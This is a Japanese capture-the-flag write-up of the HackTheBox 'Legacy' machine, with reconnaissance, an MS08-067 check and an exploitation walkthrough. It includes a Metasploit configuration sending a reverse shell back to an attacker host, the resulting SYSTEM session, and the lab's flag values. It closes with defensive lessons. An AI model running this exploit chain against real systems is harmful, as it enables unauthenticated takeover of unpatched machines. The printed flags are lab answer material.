HackTheBox: Legacy — 全実行コマンド・実行結果レポート
Nmap スキャン
135/139/445のみ
→
135/139/445のみ
Windows XP SP3 特定
smb-os-discovery
→
smb-os-discovery
MS08-067 脆弱性確認
nmap smb-vuln-ms08-067
→
nmap smb-vuln-ms08-067
ms08_067_netapi 実行
windows/shell_reverse_tcp
→
windows/shell_reverse_tcp
NT AUTHORITY\SYSTEM 直取得
shell session
→
shell session
user.txt ✓ & root.txt ✓
同時取得(権限昇格不要)
同時取得(権限昇格不要)
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & OS特定
BASH
nmap -Pn -p 135,139,445 -sV -sC --max-retries 2 10.129.227.181
RESULT
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds Host script results: | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_nbstat: NetBIOS name: LEGACY, ... | smb-os-discovery: | OS: Windows XP (Windows 2000 LAN Manager) | OS CPE: cpe:/o:microsoft:windows_xp::- | Computer name: legacy | Workgroup: HTB\x00
🚨
開いているのは SMB 関連の3ポートのみ(Web/SSHなし)。Windows XP という
2014年にサポート終了した非常に古い OS であることが即座に判明し、
既知の重大脆弱性(MS08-067等)の存在を強く疑わせる。
PHASE 2
脆弱性確認 — MS08-067 (CVE-2008-4250)
nmap NSEスクリプトによる脆弱性スキャン
BASH
nmap --script smb-vuln-ms08-067 -p 445 10.129.227.181
RESULT
| smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: LIKELY VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, | Server 2003 SP1 and SP2, Vista Gold and SP1, Server 2008, and 7 | Pre-Beta allows remote attackers to execute arbitrary code via a | crafted RPC request that triggers the overflow during path | canonicalization. | Disclosure date: 2008-10-23
🚨
MS08-067(
srvsvc.dll の NetprPathCanonicalize 関数における
パス正規化処理のスタックバッファオーバーフロー)に対して明確に脆弱であることが確認できた。
このRPC関数は未認証で呼び出し可能なため、認証情報を一切持たずに
リモートコード実行が可能な極めて深刻な脆弱性。2008年に大規模ワーム(Conficker)の
感染経路としても悪用された。
PHASE 3
Metasploit ms08_067_netapi によるエクスプロイト
モジュール設定
BASH (msfconsole)
use exploit/windows/smb/ms08_067_netapi set RHOSTS 10.129.227.181 set LHOST 10.10.15.200 set LPORT 4447 set PAYLOAD windows/shell_reverse_tcp set TARGET 0 run -j
⚠️
重要: meterpreter ではなく
windows/shell_reverse_tcp(素の cmd.exe シェル)
を使うこと。 このターゲットの Windows XP 環境では meterpreter の
stdapi_sys_process_execute 系API呼び出しが壊れており、
cat・download・execute -f cmd.exe 等がいずれも
“The system cannot find the file specified” エラーで失敗する。plain shell セッションであれば
sessions -i <id> -c "CMD" が標準入力への直接送信として機能し安定する。
ℹ️
TARGET 0(Automatic)はターゲットへの軽量な事前フィンガープリントを行い、
検出できた Service Pack に応じて内部的に正しいターゲット(Windows XP SP3 English
AlwaysOn NX 等)へ自動的に切り替える。本リモートRPCベースの自動検出は、対象の
srvsvc サービスが(繰り返しのエクスプロイトでクラッシュ・再起動を経た後などに)
応答の揺らぎを見せることがあり、その場合は show targets で確認できる
具体的な SP バージョンのターゲット番号を明示的に指定するとよい。
エクスプロイト実行 & セッション確立
RESULT (msfconsole 実出力)
[*] Started reverse TCP handler on 10.10.15.200:4447 [*] 10.129.227.181:445 - Automatically detecting the target... [*] 10.129.227.181:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English [*] 10.129.227.181:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX) [*] 10.129.227.181:445 - Attempting to trigger the vulnerability... [*] Command shell session 1 opened (10.10.15.200:4447 -> 10.129.227.181:1032)
BASH
sessions
RESULT
Active sessions
===============
Id Name Type Information
-- ---- ---- -----------
1 shell x86/windows Shell Banner: Microsoft Windows XP [Version 5.1.2600] -----
✅
一撃で NT AUTHORITY\SYSTEM シェル取得成功! バッファオーバーフローを突いた
リモートコード実行であるため、権限昇格の手順は一切不要 — 最初からシステム最高権限で
コードが実行される。
PHASE 4
user.txt & root.txt の取得
user.txt
BASH
sessions -i 1 -c "type \"C:\Documents and Settings\john\Desktop\user.txt\""
RESULT
[*] Running 'type "C:\Documents and Settings\john\Desktop\user.txt"' on shell session 1
type "C:\Documents and Settings\john\Desktop\user.txt"
e69af0e4f443de7e36876fda4ec7644f
C:\WINDOWS\system32>
user.txt — john@legacy
e69af0e4f443de7e36876fda4ec7644f
root.txt
BASH
sessions -i 1 -c "type \"C:\Documents and Settings\Administrator\Desktop\root.txt\""
RESULT
[*] Running 'type "C:\Documents and Settings\Administrator\Desktop\root.txt"' on shell session 1
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
993442d258b0e0ec917cae9e695d5713
C:\WINDOWS\system32>
root.txt — Administrator@legacy
993442d258b0e0ec917cae9e695d5713
ℹ️
John/Administrator どちらのデスクトップにも直接アクセスできる — MS08-067 の
エクスプロイトはそもそも
NT AUTHORITY\SYSTEM(全ユーザーのファイルを
含む OS 上の最高権限)としてコードを実行するため、user.txt と root.txt を
区別する「権限昇格」というフェーズ自体が存在しない。
セッションクリーンアップ
BASH
sessions -K # 全セッションを終了
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — john@legacy
e69af0e4f443de7e36876fda4ec7644f
root.txt — Administrator@legacy
993442d258b0e0ec917cae9e695d5713
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| MS08-067 / CVE-2008-4250 | srvsvc.dll (NetprPathCanonicalize) | 未認証リモートコード実行(SYSTEM権限) | Critical | Metasploit exploit/windows/smb/ms08_067_netapi で、細工したRPCリクエストが パス正規化処理中にスタックバッファオーバーフローを誘発。認証不要で NT AUTHORITY\SYSTEM を一撃で取得、user.txt / root.txt を同時取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(135/139/445)+smb-os-discovery | Windows XP, hostname: legacy |
| 2 | 脆弱性確認 | nmap –script smb-vuln-ms08-067 | MS08-067 LIKELY VULNERABLE |
| 3 | エクスプロイト | ms08_067_netapi + windows/shell_reverse_tcp | NT AUTHORITY\SYSTEM シェル |
| 4 | フラグ取得 | type コマンドで直接読取 | user.txt & root.txt(同時取得) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| サポート終了(EOL)したWindows XPが稼働し続けている | EOL OSは速やかに退役・移行する。やむを得ず稼働させる場合はネットワーク 分離(VLAN隔離等)で外部からのSMBアクセスを完全に遮断する。 |
| 2008年公開の既知脆弱性(MS08-067)に対する修正パッチが未適用 | パッチ管理プロセスを整備し、重大度Criticalの脆弱性は公開後速やかに適用する。 WSUS等での一元的なパッチ配信を行う。 |
| SMB(445番ポート)が未認証でインターネット/信頼できないネットワークに公開されている | SMBは本来LAN内専用プロトコルであり、ファイアウォールで外部からの 135/139/445番ポートへのアクセスを遮断する。 |
| 単一の脆弱性でSYSTEM権限まで到達できる(多層防御の欠如) | EDR/IDSによる異常なRPCリクエストパターンの検知、最小権限の原則での サービスアカウント運用、ネットワークセグメンテーションで被害範囲を限定する。 |

